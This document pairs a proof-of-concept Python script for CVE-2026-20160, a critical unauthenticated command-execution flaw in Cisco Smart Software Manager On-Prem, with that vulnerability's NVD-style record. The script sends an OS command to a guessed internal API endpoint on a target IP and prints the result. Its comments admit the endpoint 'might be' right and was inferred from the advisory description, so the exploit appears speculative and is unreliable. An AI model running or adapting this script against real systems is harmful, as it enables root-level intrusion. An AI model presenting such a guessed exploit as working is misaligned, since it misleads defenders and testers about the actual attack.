CVE-2026-20160

# PoC for CVE-2026-20160 # This script demonstrates the exploitation of the exposed internal service. # Usage: python3 poc.py <target_ip> import requests import sys # The vulnerable endpoint might be an internal API exposed to the outside. # Based on the description, we send a crafted request to trigger command execution. TARGET_URL = f"http://{sys.argv[1]}:8080/api/internal/v1/execute" PAYLOAD = { "command": "id", # The command to execute on the underlying OS "args": "" } def exploit(target): try: print(f"[*] Sending payload to {target}...") # Sending a crafted request to the API of the exposed service response = requests.post(target, json=PAYLOAD, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response from server:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") else: exploit(TARGET_URL)

{"cve": {"id": "CVE-2026-20160", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:31.760", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected SSM On-Prem host.\r\n\r\nThis vulnerability is due to the unintentional exposure of an&nbsp;internal service. An attacker could exploit this vulnerability by sending a crafted request to the API of the exposed service. A successful exploit could allow the attacker to execute commands on the underlying operating system with root-level privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-668"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ssm-cli-execution-cHUcWuNr", "source": "[email protected]"}]}}